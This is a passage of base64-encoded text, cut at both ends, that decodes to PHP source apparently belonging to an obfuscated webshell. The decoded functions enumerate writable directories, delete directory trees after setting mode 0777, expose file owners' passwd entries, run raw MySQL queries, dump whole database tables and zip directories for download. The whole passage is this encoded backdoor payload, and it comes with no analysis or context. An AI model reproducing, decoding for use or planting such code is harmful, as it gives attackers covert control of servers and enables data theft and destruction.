sNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGVwYXRoKSB7DQoNCgkkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsNCg0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9DQoNCgllbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gJ2QnO30NCg0KCWVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQ0KDQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9IA0KDQoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9DQoNCgllbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30NCg0KCWVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAncCc7fQ0KDQoJZWxzZSB7JHR5cGUgPSAnPyc7fQ0KDQoNCg0KCSRvd25lclsncmVhZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyANCg0KCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsgDQoNCgkkb3duZXJbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsgDQoNCgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsgDQoNCgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7IA0KDQoJJGdyb3VwWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7IA0KDQoJJHdvcmxkWydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7IA0KDQoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOyANCg0KCSR3b3JsZFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOyANCg0KDQoNCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoNCglpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoNCglpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9DQoNCiANCg0KCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsNCg0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCg0KCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsNCg0KCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsNCg0KCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOw0KDQoJCX0NCg0KCX0NCg0KCXJldHVybiAnJzsNCg0KfQ0KDQoNCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsNCg0KCSRteWRpcj1AZGlyKCRkZWxkaXIpOwkNCg0KCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7IAkJDQoNCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7IA0KDQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoNCgkJCWRlbHRyZWUoJGRlbGRpci4nLycuJGZpbGUpOyANCg0KCQl9DQoNCgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7DQoNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCg0KCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7DQoNCgkJfQ0KDQoJfSANCg0KCSRteWRpci0+Y2xvc2UoKTsgDQoNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCg0KCXJldHVybiBAcm1kaXIoJGRlbGRpcikgPyAxIDogMDsNCg0KfQ0KDQoNCg0KLy8gPz8/Pz8/Pz8/Pw0KDQpmdW5jdGlvbiBiZygpIHsNCg0KCWdsb2JhbCAkYmdjOw0KDQoJcmV0dXJuICgkYmdjKyslMj09MCkgPyAnYWx0MScgOiAnYWx0Mic7DQoNCn0NCg0KDQoNCi8vID8/Pz8/Pz8/Pz8/DQoNCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7DQoNCglpZiAoJG5vd3BhdGggPT0gJy4nKSB7DQoNCgkJJG5vd3BhdGggPSAkc2NyaXB0cGF0aDsNCg0KCX0NCg0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7DQoNCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5vd3BhdGgpOw0KDQoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgew0KDQoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOw0KDQoJfQ0KDQoJcmV0dXJuICRub3dwYXRoOw0KDQp9DQoNCg0KDQovLyA/Pz8/Pz8/Pz8/Pw0KDQpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsNCg0KCSRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOw0KDQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KDQoJaWYgKCRudW0gPiAyKSB7DQoNCgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7DQoNCgl9DQoNCgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsNCg0KCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOw0KDQoJcmV0dXJuICR1cHBhdGg7DQoNCn0NCg0KDQoNCi8vID8/UEhQPz8/Pw0KDQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsNCg0KCSRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSk7DQoNCglpZiAoJHJlc3VsdCA9PSAwKSB7DQoNCgkJcmV0dXJuICdObyc7DQoNCgl9IGVsc2VpZiAoJHJlc3VsdCA9PSAxKSB7DQoNCgkJcmV0dXJuICdZZXMnOw0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gJHJlc3VsdDsNCg0KCX0NCg0KfQ0KDQoNCg0KLy8gPz8/Pz8/DQoNCmZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgew0KDQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoNCglnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7DQoNCgkhJGogJiYgJGo9MTsNCg0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoNCgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoNCgkJCSRmPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsNCg0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCg0KCQkJCWlmIChpc193cml0YWJsZSgkZikpIHsNCg0KCQkJCQkkZGlyZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycsJGYpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7DQoNCgkJCQkJJGRpcmRhdGFbJGpdWydkaXJwZXJtJ109Z2V0UGVybXMoJGYpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsNCg0KCQkJCQkkZGlyZGF0YVskal1bJ2NsaWVudF9saW5rJ109dWUoJGYpOw0KDQoJCQkJCSRqKys7DQoNCgkJCQl9DQoNCgkJCQlHZXRMaXN0KCRmKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQljbG9zZWRpcigkZGgpOw0KDQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoNCgkJcmV0dXJuICRkaXJkYXRhOw0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gYXJyYXkoKTsNCg0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gcXkoJHNxbCkgeyANCg0KCS8vZWNobyAkc3FsLic8YnI+JzsNCg0KCSRyZXMgPSAkZXJyb3IgPSAnJzsNCg0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7IA0KDQoJCXJldHVybiAwOw0KDQoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7DQoNCgkJcmV0dXJuIDE7IA0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gMjsNCg0KCX0JDQoNCglyZXR1cm4gMDsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gcSgkc3FsKSB7IA0KDQoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZnIoJHF5KXsNCg0KCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgew0KDQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsNCg0KCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3Nikgew0KDQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoNCgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsNCg0KCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOw0KDQoJfSBlbHNlIHsNCg0KCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsNCg0KCX0NCg0KCXJldHVybiAkc2l6ZTsNCg0KfQ0KDQoNCg0KLy8gPz8/Pz8NCg0KY2xhc3MgUEhQWmlwew0KDQoJdmFyICRvdXQ9Jyc7DQoNCglmdW5jdGlvbiBQSFBaaXAoJGRpcikJew0KDQoJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsNCg0KCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KDQoJCQlpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbGlzdCA9ICRkaXI7DQoNCgkJCWVsc2V7DQoNCgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly8/Pz8/DQoNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoNCgkJCX0NCg0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7DQoNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoNCgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApew0KDQoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsNCg0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCg0KCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsNCg0KCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCg0KCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KDQoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOw0KDQoJCQkJCX0NCg0KCQkJCX0NCg0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7DQoNCgkJCQljaGRpcigkY3VyZGlyKTsNCg0KCQkJfQ0KDQoJCQlyZXR1cm4gMTsNCg0KCQl9DQoNCgkJZWxzZSByZXR1cm4gMDsNCg0KCX0NCg0KDQoNCgkvLyA/Pz8/Pz8/Pz8/DQoNCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCg0KCQlzdGF0aWMgJGE7DQoNCgkJaWYgKGlzX2RpcigkZGlyKSkgew0KDQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KDQoJCQkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoNCgkJCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyl7DQoNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoNCgkJCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7DQoNCgkJCQkJCSRhW109JGY7DQoNCgkJCQkJfQ0KDQoJCQkJfQ0KDQoJCQkJY2xvc2VkaXIoJGRoKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlyZXR1cm4gJGE7DQoNCgl9DQoNCg0KDQoJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KDQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KDQoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KDQoJdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KDQoNCg0KCWZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQoNCgkJJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCg0KCQkJJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCg0KCQkJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCg0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCg0KCQkJJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCg0KCQkJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCg0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCg0KCQl9IC8vIGVuZCBpZg0KDQoJCXJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQoNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCg0KCX0NCg0KDQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoNCgkJJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KDQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCg0KCQkkaGV4ZHRpbWUJPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KDQoJCWV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KDQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KDQoJCSRmcgkuPSAiXHgwMFx4MDAiOw0KDQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KDQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoNCg0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCg0KCQkkY3JjID0gY3JjMzIoJGRhdGEpOw0KDQoJCSR6ZGF0YSA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KDQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KDQoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KDQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkZnIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KDQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoNCgkJJGZyIC49ICRuYW1lOw0KDQoJCSRmciAuPSAkemRhdGE7DQoNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoNCg0KDQoJCSR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCg0KCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KDQoNCg0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDA4XHgwMCI7DQoNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KDQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoNCgkJJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KDQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KDQoNCgkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCg0KCX0NCg0KDQoNCglmdW5jdGlvbiBmaWxlKCkgew0KDQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoNCgkJJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQoNCgkJcmV0dXJuICRkYXRhIC4gJGN0cmxkaXIgLiAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLglwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLiBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLiAiXHgwMFx4MDAiOw0KDQoJfQ0KDQp9DQoNCg0KDQovLyA/Pz8/Pw0KDQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KDQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOw0KDQoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOw0KDQoNCg0KCSRmaXJzdGZpZWxkPTE7DQoNCg0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoNCgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsNCg0KCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoNCgkJfSBlbHNlIHsNCg0KCQkJJGZpcnN0ZmllbGQ9MDsNCg0KCQl9DQoNCgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOw0KDQoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCg0KCQl9DQoNCgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoNCgkJfQ0KDQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsNCg0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KDQoJCX0NCg0KCX0NCg0KCWZyKCRmaWVsZHMpOw0KDQoNCg0KCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7DQoNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KDQoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOw0KDQoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7DQoNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoNCgkJfQ0KDQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsNCg0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KDQoJCX0NCg0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsNCg0KCX0NCg0KCWZyKCRrZXlzKTsNCg0KDQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KDQoJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoNCgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsNCg0KDQoNCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsNCg0KCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsNCg0KCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOw0KDQoJCQl9DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7DQoNCglpZiAoJGZwKSB7DQoNCgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCg0KCX0gZWxzZSB7DQoNCgkJZWNobyAkdGFibGVkdW1wOw0KDQoJfQ0KDQoNCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCg0KCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCg0KCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7DQoNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCg0KDQoJCSRmaWVsZGNvdW50ZXI9LTE7DQoNCgkJJGZpcnN0ZmllbGQ9MTsNCg0KCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsNCg0KCQkJaWYgKCEkZmlyc3RmaWVsZCkgew0KDQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCg0KCQkJfSBlbHNlIHsNCg0KCQkJCSRmaXJzdGZpZWxkPTA7DQoNCgkJCX0NCg0KDQoNCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsNCg0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7DQoNCgkJCX0NCg0KCQl9DQoNCg0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoNCg0KCQlpZiAoJGZwKSB7DQoNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJZWNobyAkdGFibGVkdW1wOw0KDQoJCX0NCg0KCX0NCg0KCWZyKCRyb3dzKTsNCg0KCWlmICgkZnApIHsNCg0KCQlmd3JpdGUoJGZwLCJcbiIpOw0KDQoJfSBlbHNlIHsNCg0KCQllY2hvICJcbiI7DQoNCgl9DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIHVlKCRzdHIpew0KDQoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gcCgkc3RyKXsNCg0KCWVjaG8gJHN0ci4iXG4iOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoNCglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KfQ0KDQpmdW5jdGlvbiB0YmZvb3QoKXsNCg0KCXAoJzwvdGFibGU+Jyk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7DQoNCglwKCI8aW5wdXQgaWQ9XCIk